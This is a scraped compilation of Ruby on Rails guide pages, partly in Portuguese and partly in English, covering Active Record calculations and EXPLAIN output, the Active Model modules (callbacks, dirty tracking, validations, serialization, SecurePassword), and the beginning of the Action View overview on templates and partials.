Para mais opções, veja a seção pai, Cálculos.

22.2 Média (average)

Se você quiser saber a média de um certo número em uma das suas tabelas, você pode chamar o método average na sua classe que se relaciona com essa tabela. Essa chamada de método vai parecer desse jeito:

Order.average("subtotal")

Order.average("subtotal") Copiar

Isso vai retornar um número (possivelmente um número de ponto flutuante como 3.14159265) representando o valor médio desse campo.

Para mais opções, veja a seção pai, Cálculos.

22.3 Mínimo (minimum)

Se você quiser encontrar o valor mínimo de um campo na sua tabela, você pode chamar o método minimum na classe que se relaciona com a tabela. Essa chamada de método vai parecer desse jeito:

Order.minimum("subtotal")

Order.minimum("subtotal") Copiar

Para mais opções, veja a seção pai, Cálculos.

22.4 Máximo (maximum)

Se você quiser encontrar o valor máximo de um campo na sua tabela, você pode chamar o método maximum na classe que se relaciona com a tabela. Essa chamada de método vai parecer desse jeito:

Order.maximum("subtotal")

Order.maximum("subtotal") Copiar

Para mais opções, veja a seção pai, Cálculos.

22.5 Soma (sum)

Se você quiser encontrar a soma de todos os registros na sua tabela, você pode chamar o método sum na classe que se relaciona com a tabela. Essa chamada de método vai parecer desse jeito:

Order.sum("subtotal")

Order.sum("subtotal") Copiar

Para mais opções, veja a seção pai, Cálculos.

23 Executando o EXPLAIN

Você pode executar o explain nas queries disparadas por relações. O retorno de EXPLAIN varia entre os banco de dados.

Por exemplo, executar

Customer.where(id: 1).joins(:orders).explain

Customer.where(id: 1).joins(:orders).explain Copiar

pode produzir

EXPLAIN for: SELECT `customers`.* FROM `customers` INNER JOIN `orders` ON `orders`.`customer_id` = `customers`.`id` WHERE `customers`.`id` = 1
+----+-------------+------------+-------+---------------+
| id | select_type | table      | type  | possible_keys |
+----+-------------+------------+-------+---------------+
|  1 | SIMPLE      | customers  | const | PRIMARY       |
|  1 | SIMPLE      | orders     | ALL   | NULL          |
+----+-------------+------------+-------+---------------+
+---------+---------+-------+------+-------------+
| key     | key_len | ref   | rows | Extra       |
+---------+---------+-------+------+-------------+
| PRIMARY | 4       | const |    1 |             |
| NULL    | NULL    | NULL  |    1 | Using where |
+---------+---------+-------+------+-------------+

2 rows in set (0.00 sec)

EXPLAIN for: SELECT `customers`.* FROM `customers` INNER JOIN `orders` ON `orders`.`customer_id` = `customers`.`id` WHERE `customers`.`id` = 1 +----+-------------+------------+-------+---------------+ | id | select_type | table | type | possible_keys | +----+-------------+------------+-------+---------------+ | 1 | SIMPLE | customers | const | PRIMARY | | 1 | SIMPLE | orders | ALL | NULL | +----+-------------+------------+-------+---------------+ +---------+---------+-------+------+-------------+ | key | key_len | ref | rows | Extra | +---------+---------+-------+------+-------------+ | PRIMARY | 4 | const | 1 | | | NULL | NULL | NULL | 1 | Using where | +---------+---------+-------+------+-------------+ 2 rows in set (0.00 sec) Copiar

em MySQL e MariaDB.

O Active Record exibe uma impressão que simula a do shell do banco de dados correspondente. Então, a mesma query sendo executada quando usado o adaptador de PostgreSQL poderá produzir o seguinte:

EXPLAIN for: SELECT "customers".* FROM "customers" INNER JOIN "orders" ON "orders"."customer_id" = "customers"."id" WHERE "customers"."id" = $1 [["id", 1]]
QUERY PLAN
------------------------------------------------------------------------------
Nested Loop  (cost=4.33..20.85 rows=4 width=164)
->  Index Scan using customers_pkey on customers  (cost=0.15..8.17 rows=1 width=164)
Index Cond: (id = '1'::bigint)
->  Bitmap Heap Scan on orders  (cost=4.18..12.64 rows=4 width=8)
Recheck Cond: (customer_id = '1'::bigint)
->  Bitmap Index Scan on index_orders_on_customer_id  (cost=0.00..4.18 rows=4 width=0)
Index Cond: (customer_id = '1'::bigint)
(7 rows)

EXPLAIN for: SELECT "customers".* FROM "customers" INNER JOIN "orders" ON "orders"."customer_id" = "customers"."id" WHERE "customers"."id" = $1 [["id", 1]] QUERY PLAN ------------------------------------------------------------------------------ Nested Loop (cost=4.33..20.85 rows=4 width=164) -> Index Scan using customers_pkey on customers (cost=0.15..8.17 rows=1 width=164) Index Cond: (id = '1'::bigint) -> Bitmap Heap Scan on orders (cost=4.18..12.64 rows=4 width=8) Recheck Cond: (customer_id = '1'::bigint) -> Bitmap Index Scan on index_orders_on_customer_id (cost=0.00..4.18 rows=4 width=0) Index Cond: (customer_id = '1'::bigint) (7 rows) Copiar

O Eager Loading pode disparar mais que uma query por debaixo dos panos, e algumas queries podem necessitar de resultados prévios. Por causa disso, o explain na verdade executa a query e somente depois solicita o que a query planeja. Por exemplo,

Customer.where(id: 1).includes(:orders).explain

Customer.where(id: 1).includes(:orders).explain Copiar

produz isso em MySQL e MariaDB.

EXPLAIN for: SELECT `customers`.* FROM `customers`  WHERE `customers`.`id` = 1
+----+-------------+-----------+-------+---------------+
| id | select_type | table     | type  | possible_keys |
+----+-------------+-----------+-------+---------------+
|  1 | SIMPLE      | customers | const | PRIMARY       |
+----+-------------+-----------+-------+---------------+
+---------+---------+-------+------+-------+
| key     | key_len | ref   | rows | Extra |
+---------+---------+-------+------+-------+
| PRIMARY | 4       | const |    1 |       |
+---------+---------+-------+------+-------+

1 row in set (0.00 sec)

EXPLAIN for: SELECT `orders`.* FROM `orders`  WHERE `orders`.`customer_id` IN (1)
+----+-------------+--------+------+---------------+
| id | select_type | table  | type | possible_keys |
+----+-------------+--------+------+---------------+
|  1 | SIMPLE      | orders | ALL  | NULL          |
+----+-------------+--------+------+---------------+
+------+---------+------+------+-------------+
| key  | key_len | ref  | rows | Extra       |
+------+---------+------+------+-------------+
| NULL | NULL    | NULL |    1 | Using where |
+------+---------+------+------+-------------+

1 row in set (0.00 sec)

EXPLAIN for: SELECT `customers`.* FROM `customers` WHERE `customers`.`id` = 1 +----+-------------+-----------+-------+---------------+ | id | select_type | table | type | possible_keys | +----+-------------+-----------+-------+---------------+ | 1 | SIMPLE | customers | const | PRIMARY | +----+-------------+-----------+-------+---------------+ +---------+---------+-------+------+-------+ | key | key_len | ref | rows | Extra | +---------+---------+-------+------+-------+ | PRIMARY | 4 | const | 1 | | +---------+---------+-------+------+-------+ 1 row in set (0.00 sec) EXPLAIN for: SELECT `orders`.* FROM `orders` WHERE `orders`.`customer_id` IN (1) +----+-------------+--------+------+---------------+ | id | select_type | table | type | possible_keys | +----+-------------+--------+------+---------------+ | 1 | SIMPLE | orders | ALL | NULL | +----+-------------+--------+------+---------------+ +------+---------+------+------+-------------+ | key | key_len | ref | rows | Extra | +------+---------+------+------+-------------+ | NULL | NULL | NULL | 1 | Using where | +------+---------+------+------+-------------+ 1 row in set (0.00 sec) Copiar

e isso no PostgreSQL:

Customer Load (0.3ms)  SELECT "customers".* FROM "customers" WHERE "customers"."id" = $1  [["id", 1]]
Order Load (0.3ms)  SELECT "orders".* FROM "orders" WHERE "orders"."customer_id" = $1  [["customer_id", 1]]
=> EXPLAIN for: SELECT "customers".* FROM "customers" WHERE "customers"."id" = $1 [["id", 1]]
QUERY PLAN
----------------------------------------------------------------------------------
Index Scan using customers_pkey on customers  (cost=0.15..8.17 rows=1 width=164)
Index Cond: (id = '1'::bigint)
(2 rows)

Customer Load (0.3ms) SELECT "customers".* FROM "customers" WHERE "customers"."id" = $1 [["id", 1]] Order Load (0.3ms) SELECT "orders".* FROM "orders" WHERE "orders"."customer_id" = $1 [["customer_id", 1]] => EXPLAIN for: SELECT "customers".* FROM "customers" WHERE "customers"."id" = $1 [["id", 1]] QUERY PLAN ---------------------------------------------------------------------------------- Index Scan using customers_pkey on customers (cost=0.15..8.17 rows=1 width=164) Index Cond: (id = '1'::bigint) (2 rows) Copiar

23.1 Interpretando o EXPLAIN

A interpretação da saída do EXPLAIN está além do escopo deste guia. Os links a seguir podem servir de ajuda:

- SQLite3: EXPLAIN QUERY PLAN

- MySQL: EXPLAIN Output Format

- MariaDB: EXPLAIN

- PostgreSQL: Using EXPLAIN

Básico de Active Model — Ruby on Rails...

1 O que é Active Model?

O Active Model é uma biblioteca que contém vários módulos utilizados para desenvolvimento de classes que precisam de algumas funções (features) existentes no Active Record.

Alguns desses módulos serão explicados abaixo.

1.1 Métodos de Atributo

O ActiveModel::AttributeMethods, módulo que pode adicionar prefixos e sufixos customizados nos metodos de uma classe. Isso é feito pela definição dos prefixos e sufixos e quais métodos no objeto que vai utilizá-los.

class Person
include ActiveModel::AttributeMethods

attribute_method_prefix 'reset_'
attribute_method_suffix '_highest?'
define_attribute_methods 'age'

attr_accessor :age

private
def reset_attribute(attribute)
send("#{attribute}=", 0)
end

def attribute_highest?(attribute)
send(attribute) > 100
end
end

class Person include ActiveModel::AttributeMethods attribute_method_prefix 'reset_' attribute_method_suffix '_highest?' define_attribute_methods 'age' attr_accessor :age private def reset_attribute(attribute) send("#{attribute}=", 0) end def attribute_highest?(attribute) send(attribute) > 100 end end Copiar

irb> person = Person.new
irb> person.age = 110
irb> person.age_highest?
=> true
irb> person.reset_age
=> 0
irb> person.age_highest?
=> false

person = Person.new person.age = 110 person.age_highest? person.reset_age person.age_highest? Copiar

1.2 Callbacks

ActiveModel::Callbacks trazem os callbacks no padrão do Active Record. Isso provê a habilidade de definir o callback que rodará no tempo apropriado. Após definir os callbacks, você pode envolvê-los com métodos customizados antes, depois e durante.

class Person
extend ActiveModel::Callbacks

define_model_callbacks :update

before_update :reset_me

def update
run_callbacks(:update) do
# This method is called when update is called on an object.
end
end

def reset_me
# This method is called when update is called on an object as a before_update callback is defined.
end
end

class Person extend ActiveModel::Callbacks define_model_callbacks :update before_update :reset_me def update run_callbacks(:update) do # This method is called when update is called on an object. end end def reset_me # This method is called when update is called on an object as a before_update callback is defined. end end Copiar

1.3 Conversão

Se a classe define os métodos persisted? e id, então você pode incluir o módulo ActiveModel::Conversion naquela classe e chamar os métodos de conversão do Rails nos objetos daquela classe.

class Person
include ActiveModel::Conversion

def persisted?
false
end

def id
nil
end
end

class Person include ActiveModel::Conversion def persisted? false end def id nil end end Copiar

irb> person = Person.new
irb> person.to_model == person
=> true
irb> person.to_key
=> nil
irb> person.to_param
=> nil

person = Person.new person.to_model == person person.to_key person.to_param Copiar

1.4 Sujeira

Um objeto se torna sujo quando ele passa por uma ou mais mudanças nos seus atributos e isso não foi salvo. O ActiveModel::Dirty te concede a habilidade de checar quando um objeto foi alterado ou não. Também possui atributos baseados em métodos de acesso. Vamos considerar a classe Person com os atributos first_name e last_name:

class Person
include ActiveModel::Dirty
define_attribute_methods :first_name, :last_name

def first_name
@first_name
end

def first_name=(value)
first_name_will_change!
@first_name = value
end

def last_name
@last_name
end

def last_name=(value)
last_name_will_change!
@last_name = value
end

def save
# do save work...
changes_applied
end
end

class Person include ActiveModel::Dirty define_attribute_methods :first_name, :last_name def first_name @first_name end def first_name=(value) first_name_will_change! @first_name = value end def last_name @last_name end def last_name=(value) last_name_will_change! @last_name = value end def save # do save work... changes_applied end end Copiar

1.4.1 Consultando o objeto diretamente para obter uma lista de todos os atributos alterados.

irb> person = Person.new
irb> person.changed?
=> false

irb> person.first_name = "First Name"
irb> person.first_name
=> "First Name"

# Retorna true se algum dos atributos tem mudanças não salvas.
irb> person.changed?
=> true

# Retorna uma lista de atributos que mudaram antes de salvar.
irb> person.changed
=> ["first_name"]

# Retorna um Hash dos atributos que mudaram junto com seu valor original.
irb> person.changed_attributes
=> {"first_name"=>nil}

# Retorna um Hash de mudanças, com o nome dos atributos como chave, e o valor da chave como um array de valores antigos e novos para aquele campo.
irb> person.changes
=> {"first_name"=>[nil, "First Name"]}

person = Person.new person.changed? person.first_name = "First Name" person.first_name person.changed? person.changed person.changed_attributes person.changes Copiar

1.4.2 Atributos baseados em métodos de acesso

Acompanhe se o atributo específico foi alterado ou não.

irb> person.first_name
=> "First Name"

# attr_name_changed?
irb> person.first_name_changed?
=> true

person.first_name person.first_name_changed? Copiar

Track the previous value of the attribute.

# attr_name_was accessor
irb> person.first_name_was
=> nil

person.first_name_was Copiar

Track both previous and current value of the changed attribute. Returns an array if changed, otherwise returns nil.

# attr_name_change
irb> person.first_name_change
=> [nil, "First Name"]
irb> person.last_name_change
=> nil

person.first_name_change person.last_name_change Copiar

1.5 Validações

O módulo ActiveModel::Validations adiciona a habilidade de validar objetos como no Active Record.

class Person
include ActiveModel::Validations

attr_accessor :name, :email, :token

validates :name, presence: true
validates_format_of :email, with: /\A([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})\z/i
validates! :token, presence: true
end

class Person include ActiveModel::Validations attr_accessor :name, :email, :token validates :name, presence: true validates_format_of :email, with: /\A([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})\z/i validates! :token, presence: true end Copiar

irb> person = Person.new
irb> person.token = "2b1f325"
irb> person.valid?
=> false
irb> person.name = 'vishnu'
irb> person.email = 'me'
irb> person.valid?
=> false
irb> person.email = 'me@vishnuatrai.com'
irb> person.valid?
=> true
irb> person.token = nil
irb> person.valid?
ActiveModel::StrictValidationFailed

person = Person.new person.token = "2b1f325" person.valid? person.name = 'vishnu' person.email = 'me' person.valid? person.email = 'me@vishnuatrai.com' person.valid? person.token = nil person.valid? Copiar

1.6 Nomeação

ActiveModel::Naming adiciona vários métodos de classe que tornam a nomeação e o roteamento mais fácil de administrar. O módulo define o método da classe model_name que definirá vários acessadores usando alguns métodos do ActiveSupport::Inflector.

class Person
extend ActiveModel::Naming
end

Person.model_name.name                # => "Person"
Person.model_name.singular            # => "person"
Person.model_name.plural              # => "people"
Person.model_name.element             # => "person"
Person.model_name.human               # => "Person"
Person.model_name.collection          # => "people"
Person.model_name.param_key           # => "person"
Person.model_name.i18n_key            # => :person
Person.model_name.route_key           # => "people"
Person.model_name.singular_route_key  # => "person"

class Person extend ActiveModel::Naming end Person.model_name.name # => "Person" Person.model_name.singular # => "person" Person.model_name.plural # => "people" Person.model_name.element # => "person" Person.model_name.human # => "Person" Person.model_name.collection # => "people" Person.model_name.param_key # => "person" Person.model_name.i18n_key # => :person Person.model_name.route_key # => "people" Person.model_name.singular_route_key # => "person" Copiar

1.7 Model

O ActiveModel::Model adiciona a capacidade de uma classe trabalhar com o Action Pack e Action View imediatamente.

class EmailContact
include ActiveModel::Model

attr_accessor :name, :email, :message
validates :name, :email, :message, presence: true

def deliver
if valid?
# deliver email
end
end
end

class EmailContact include ActiveModel::Model attr_accessor :name, :email, :message validates :name, :email, :message, presence: true def deliver if valid? # deliver email end end end Copiar

Ao incluir o ActiveModel::Model, você obtém alguns recursos como:

- introspecção do nome de model

- conversões

- traduções

- validações

Também oferece a capacidade de inicializar um objeto com um hash de atributos, muito parecido com qualquer objeto Active Record.

irb> email_contact = EmailContact.new(name: 'David', email: 'david@example.com', message: 'Hello World')
irb> email_contact.name
=> "David"
irb> email_contact.email
=> "david@example.com"
irb> email_contact.valid?
=> true
irb> email_contact.persisted?
=> false

email_contact = EmailContact.new(name: 'David', email: 'david@example.com', message: 'Hello World') email_contact.name email_contact.email email_contact.valid? email_contact.persisted? Copiar

Qualquer classe que inclua ActiveModel::Model pode ser usada com form_with, render e quaisquer outros métodos auxiliares do Action View, assim como o Active Record objetos.

1.8 Serialização

O ActiveModel::Serialization fornece serialização básica para o seu objeto. Você precisa declarar um Hash de atributos que contém os atributos que deseja serializar. Os atributos devem ser cadeias, não símbolos.

class Person
include ActiveModel::Serialization

attr_accessor :name

def attributes
{'name' => nil}
end
end

class Person include ActiveModel::Serialization attr_accessor :name def attributes {'name' => nil} end end Copiar

Agora você pode acessar um Hash serializado do seu objeto usando o método serializable_hash.

irb> person = Person.new
irb> person.serializable_hash
=> {"name"=>nil}
irb> person.name = "Bob"
irb> person.serializable_hash
=> {"name"=>"Bob"}

person = Person.new person.serializable_hash person.name = "Bob" person.serializable_hash Copiar

1.8.1 ActiveModel::Serializers

O Active Model também fornece o módulo ActiveModel::Serializers::JSON para serialização / desserialização JSON. Este módulo inclui automaticamente o módulo ActiveModel::Serialization discutido anteriormente.

1.8.1.1 ActiveModel::Serializers::JSON

Para usar o ActiveModel::Serializers::JSON, você só precisa alterar o módulo que você está incluindo de ActiveModel::Serialization paraActiveModel::Serializers::JSON.

class Person
include ActiveModel::Serializers::JSON

attr_accessor :name

def attributes
{'name' => nil}
end
end

class Person include ActiveModel::Serializers::JSON attr_accessor :name def attributes {'name' => nil} end end Copiar

O método as_json, semelhante aoserializable_hash, fornece um Hash representando o modelo.

irb> person = Person.new
irb> person.as_json
=> {"name"=>nil}
irb> person.name = "Bob"
irb> person.as_json
=> {"name"=>"Bob"}

person = Person.new person.as_json person.name = "Bob" person.as_json Copiar

Você também pode definir os atributos para um modelo a partir de uma sequência JSON. No entanto, você precisa definir o método attribute= na sua classe:

class Person
include ActiveModel::Serializers::JSON

attr_accessor :name

def attributes=(hash)
hash.each do |key, value|
send("#{key}=", value)
end
end

def attributes
{'name' => nil}
end
end

class Person include ActiveModel::Serializers::JSON attr_accessor :name def attributes=(hash) hash.each do |key, value| send("#{key}=", value) end end def attributes {'name' => nil} end end Copiar

Agora é possível criar uma instância de Person e definir atributos usandofrom_json.

irb> json = { name: 'Bob' }.to_json
irb> person = Person.new
irb> person.from_json(json)
=> #<Person:0x00000100c773f0 @name="Bob">
irb> person.name
=> "Bob"

json = { name: 'Bob' }.to_json person = Person.new person.from_json(json) person.name Copiar

1.9 Tradução

O ActiveModel::Translation fornece integração entre seu objeto e o Rails internacionalização (i18n).

class Person
extend ActiveModel::Translation
end

class Person extend ActiveModel::Translation end Copiar

Com o método human_attribute_name, você pode transformar nomes de atributos em um formato mais legível por humanos. O formato legível por humanos é definido nos seus arquivos de localidade.

- config/locales/app.pt-BR.yml

pt-BR:
activemodel:
attributes:
person:
name: 'Nome'

pt-BR: activemodel: attributes: person: name: 'Nome' Copiar

Person.human_attribute_name('name') # => "Nome"

Person.human_attribute_name('name') # => "Nome" Copiar

1.10 Lint Tests

O ActiveModel::Lint::Tests permite testar se um objeto é compatível com a API do model ativo.

- app/models/person.rb

class Person
include ActiveModel::Model
end

class Person include ActiveModel::Model end Copiar

- test/models/person_test.rb

require "test_helper"

class PersonTest < ActiveSupport::TestCase
include ActiveModel::Lint::Tests

setup do
@model = Person.new
end
end

require "test_helper" class PersonTest < ActiveSupport::TestCase include ActiveModel::Lint::Tests setup do @model = Person.new end end Copiar

$ bin/rails test

Run options: --seed 14596

# Running:

......

Finished in 0.024899s, 240.9735 runs/s, 1204.8677 assertions/s.

6 runs, 30 assertions, 0 failures, 0 errors, 0 skips

bin/rails test Copiar

Não é necessário um objeto para implementar todas as APIs para trabalhar com Action Pack. Este módulo pretende apenas fornecer orientação caso você queira que todos recursos prontos para uso.

1.11 SecurePassword

O ActiveModel::SecurePassword fornece uma maneira de armazenar com segurança qualquer senha de forma criptografada. Quando você inclui este módulo, é fornecido o método da classe has_secure_password que define um acessador de senha com certas validações por padrão.

1.11.1 Requerimentos

O ActiveModel::SecurePassword depende de bcrypt, portanto, inclua esta gem no seu Gemfile para usar oActiveModel::SecurePassword corretamente. Para fazer isso funcionar, o model deve ter um acessador chamado XXX_digest. Onde XXX é o nome do atributo da sua senha desejada. As seguintes validações são adicionadas automaticamente:

1. A senha deve estar presente.

2. A senha deve ser igual à sua confirmação (desde que XXX_confirmation seja passada adiante).

3. O tamanho máximo de uma senha é 72 (exigido pelo bcrypt do qual o ActiveModel::SecurePassword depende)

1.11.2 Exemplos

class Person
include ActiveModel::SecurePassword
has_secure_password
has_secure_password :recovery_password, validations: false

attr_accessor :password_digest, :recovery_password_digest
end

class Person include ActiveModel::SecurePassword has_secure_password has_secure_password :recovery_password, validations: false attr_accessor :password_digest, :recovery_password_digest end Copiar

irb> person = Person.new

# Quando a senha está em branco.
irb> person.valid?
=> false

# Quando a confirmação não é igual a senha.
irb> person.password = 'aditya'
irb> person.password_confirmation = 'nomatch'
irb> person.valid?
=> false

# Quando o tamanho da senha é maior que 72 caracteres.
irb> person.password = person.password_confirmation = 'a' * 100
irb> person.valid?
=> false

# Quando só a senha é enviada sem a password_confirmation.
irb> person.password = 'aditya'
irb> person.valid?
=> true

# Quando todas as validações foram atendidas.
irb> person.password = person.password_confirmation = 'aditya'
irb> person.valid?
=> true

irb> person.recovery_password = "42password"

irb> person.authenticate('aditya')
=> #<Person> # == person
irb> person.authenticate('notright')
=> false
irb> person.authenticate_password('aditya')
=> #<Person> # == person
irb> person.authenticate_password('notright')
=> false

irb> person.authenticate_recovery_password('42password')
=> #<Person> # == person
irb> person.authenticate_recovery_password('notright')
=> false

irb> person.password_digest
=> "$2a$04$gF8RfZdoXHvyTjHhiU4ZsO.kQqV9oonYZu31PRE4hLQn3xM2qkpIy"
irb> person.recovery_password_digest
=> "$2a$04$iOfhwahFymCs5weB3BNH/uXkTG65HR.qpW.bNhEjFP3ftli3o5DQC"

person = Person.new person.valid? person.password = 'aditya' person.password_confirmation = 'nomatch' person.valid? person.password = person.password_confirmation = 'a' * 100 person.valid? person.password = 'aditya' person.valid? person.password = person.password_confirmation = 'aditya' person.valid? person.recovery_password = "42password" person.authenticate('aditya') person.authenticate('notright') person.authenticate_password('aditya') person.authenticate_password('notright') person.authenticate_recovery_password('42password') person.authenticate_recovery_password('notright') person.password_digest person.recovery_password_digest Copiar

Action View Overview — Ruby on Rails...

1 What is Action View?

In Rails, web requests are handled by Action Controller and Action View. Typically, Action Controller is concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response.

Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves.

Some features of Action View are tied to Active Record, but that doesn't mean Action View depends on Active Record. Action View is an independent package that can be used with any sort of Ruby libraries.

2 Using Action View with Rails

For each controller there is an associated directory in the app/views directory which holds the template files that make up the views associated with that controller. These files are used to display the view that results from each controller action.

Let's take a look at what Rails does by default when creating a new resource using the scaffold generator:

$ bin/rails generate scaffold article
[...]
invoke  scaffold_controller
create    app/controllers/articles_controller.rb
invoke    erb
create      app/views/articles
create      app/views/articles/index.html.erb
create      app/views/articles/edit.html.erb
create      app/views/articles/show.html.erb
create      app/views/articles/new.html.erb
create      app/views/articles/_form.html.erb
[...]

bin/rails generate scaffold article Copiar

There is a naming convention for views in Rails. Typically, the views share their name with the associated controller action, as you can see above. For example, the index controller action of the articles_controller.rb will use the index.html.erb view file in the app/views/articles directory. The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Within this guide you will find more detailed documentation about each of these three components.

3 Templates, Partials, and Layouts

As mentioned, the final HTML output is a composition of three Rails elements: Templates, Partials and Layouts. Below is a brief overview of each of them.

3.1 Templates

Action View templates can be written in several ways. If the template file has a .erb extension then it uses a mixture of ERB (Embedded Ruby) and HTML. If the template file has a .builder extension then the Builder::XmlMarkup library is used.

Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have .html.erb as a file extension.

3.1.1 ERB

Within an ERB template, Ruby code can be included using both <% %> and <%= %> tags. The <% %> tags are used to execute Ruby code that does not return anything, such as conditions, loops, or blocks, and the <%= %> tags are used when you want output.

Consider the following loop for names:

<h1>Names of all the people</h1>
<% @people.each do |person| %>
Name: <%= person.name %><br>
<% end %>

<h1>Names of all the people</h1> <% @people.each do |person| %> Name: <%= person.name %><br> <% end %> Copiar

The loop is set up using regular embedding tags (<% %>) and the name is inserted using the output embedding tags (<%= %>). Note that this is not just a usage suggestion: regular output functions such as print and puts won't be rendered to the view with ERB templates. So this would be wrong:

<%# WRONG %>
Hi, Mr. <% puts "Frodo" %>

<%# WRONG %> Hi, Mr. <% puts "Frodo" %> Copiar

To suppress leading and trailing whitespaces, you can use <%- -%> interchangeably with <% and %>.

3.1.2 Builder

Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object named xml is automatically made available to templates with a .builder extension.

Here are some basic examples:

xml.em("emphasized")
xml.em { xml.b("emph & bold") }
xml.a("A Link", "href" => "https://rubyonrails.org")
xml.target("name" => "compile", "option" => "fast")

xml.em("emphasized") xml.em { xml.b("emph & bold") } xml.a("A Link", "href" => "https://rubyonrails.org") xml.target("name" => "compile", "option" => "fast") Copiar

which would produce:

<em>emphasized</em>
<em><b>emph &amp; bold</b></em>
<a href="https://rubyonrails.org">A link</a>
<target option="fast" name="compile" />

<em>emphasized</em> <em><b>emph &amp; bold</b></em> <a href="https://rubyonrails.org">A link</a> <target option="fast" name="compile" /> Copiar

Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:

xml.div {
xml.h1(@person.name)
xml.p(@person.bio)
}

xml.div { xml.h1(@person.name) xml.p(@person.bio) } Copiar

would produce something like:

<div>
<h1>David Heinemeier Hansson</h1>
<p>A product of Danish Design during the Winter of '79...</p>
</div>

<div> <h1>David Heinemeier Hansson</h1> <p>A product of Danish Design during the Winter of '79...</p> </div> Copiar

Below is a full-length RSS example actually used on Basecamp:

xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
xml.channel do
xml.title(@feed_title)
xml.link(@url)
xml.description "Basecamp: Recent items"
xml.language "en-us"
xml.ttl "40"

for item in @recent_items
xml.item do
xml.title(item_title(item))
xml.description(item_description(item)) if item_description(item)
xml.pubDate(item_pubDate(item))
xml.guid(@person.firm.account.url + @recent_items.url(item))
xml.link(@person.firm.account.url + @recent_items.url(item))
xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
end
end
end
end

xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do xml.channel do xml.title(@feed_title) xml.link(@url) xml.description "Basecamp: Recent items" xml.language "en-us" xml.ttl "40" for item in @recent_items xml.item do xml.title(item_title(item)) xml.description(item_description(item)) if item_description(item) xml.pubDate(item_pubDate(item)) xml.guid(@person.firm.account.url + @recent_items.url(item)) xml.link(@person.firm.account.url + @recent_items.url(item)) xml.tag!("dc:creator", item.author_name) if item_has_creator?(item) end end end end Copiar

3.1.3 Jbuilder

Jbuilder is a gem that's maintained by the Rails team and included in the default Rails Gemfile. It's similar to Builder, but is used to generate JSON, instead of XML.

If you don't have it, you can add the following to your Gemfile:

gem 'jbuilder'

gem 'jbuilder' Copiar

A Jbuilder object named json is automatically made available to templates with a .jbuilder extension.

Here is a basic example:

json.name("Alex")
json.email("alex@example.com")

json.name("Alex") json.email("alex@example.com") Copiar

would produce:

{
"name": "Alex",
"email": "alex@example.com"
}

{ "name": "Alex", "email": "alex@example.com" } Copiar

See the Jbuilder documentation for more examples and information.

3.1.4 Template Caching

By default, Rails will compile each template to a method in order to render it. In the development environment, when you alter a template, Rails will check the file's modification time and recompile it.

3.2 Partials

Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates.

3.2.1 Naming Partials

To render a partial as part of a view, you use the render method within the view:

<%= render "menu" %>

<%= render "menu" %> Copiar

This will render a file named _menu.html.erb at that point within the view that is being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:

<%= render "shared/menu" %>

<%= render "shared/menu" %> Copiar

That code will pull in the partial from app/views/shared/_menu.html.erb.

3.2.2 Using Partials to simplify Views

One way to use partials is to treat them as the equivalent of subroutines; a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looks like this:

<%= render "shared/ad_banner" %>

<h1>Products</h1>

<p>Here are a few of our fine products:</p>
<% @products.each do |product| %>
<%= render partial: "product", locals: { product: product } %>
<% end %>

<%= render "shared/footer" %>

<%= render "shared/ad_banner" %> <h1>Products</h1> <p>Here are a few of our fine products:</p> <% @products.each do |product| %> <%= render partial: "product", locals: { product: product } %> <% end %> <%= render "shared/footer" %> Copiar

Here, the _ad_banner.html.erb and _footer.html.erb partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.

3.2.3 render without partial and locals options

In the above example, render takes 2 options: partial and locals. But if these are the only options you want to pass, you can skip using these options. For example, instead of:

<%= render partial: "product", locals: { product: @product } %>

<%= render partial: "product", locals: { product: @product } %> Copiar

You can also do:

<%= render "product", product: @product %>

<%= render "product", product: @product %> Copiar

3.2.4 The as and object options

By default ActionView::Partials::PartialRenderer has its object in a local variable with the same name as the template. So, given:

<%= render partial: "product" %>

<%= render partial: "product" %> Copiar

within _product partial we'll get @product in the local variable product, as if we had written:

<%= render partial: "product", locals: { product: @product } %>

<%= render partial: "product", locals: { product: @product } %> Copiar

The object option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere (e.g. in a different instance variable or in a local variable).

For example, instead of:

<%= render partial: "product", locals: { product: @item } %>

<%= render partial: "product", locals: { product: @item } %> Copiar

we would do:

<%= render partial: "product", object: @item %>

<%= render partial: "product", object: @item %> Copiar

With the as option we can specify a different name for the said local variable. For example, if we wanted it to be item instead of product we would do:

<%= render partial: "product", object: @item, as: "item" %>

<%= render partial: "product", object: @item, as: "item" %> Copiar

This is equivalent to

<%= render partial: "product", locals: { item: @item } %>

<%= render partial: "product", locals: { item: @item } %> Copiar

3.2.5 Rendering Collections

It is very common that a template will need to iterate over a collection and render a sub-template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial for each one of the elements in the array.

So this example for rendering all the products:

<% @products.each do |product| %>
<%= render partial: "product", locals: { product: product } %>
<% end %>

<% @products.each do |product| %> <%= render partial: "product", locals: { product: product } %> <% end %> Copiar

can be rewritten in a single line:

<%= render partial: "product", collection: @products %>

<%= render partial: "product", collection: @products %> Copiar

When a partial is called with a collection, the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is _product, and within it you can refer to product to get the collection member that is being rendered.

You can use a shorthand syntax for rendering collections. Assuming @products is a collection of Product instances, you can simply write the following to produce the same result:

<%= render @products %>

<%= render @products %> Copiar

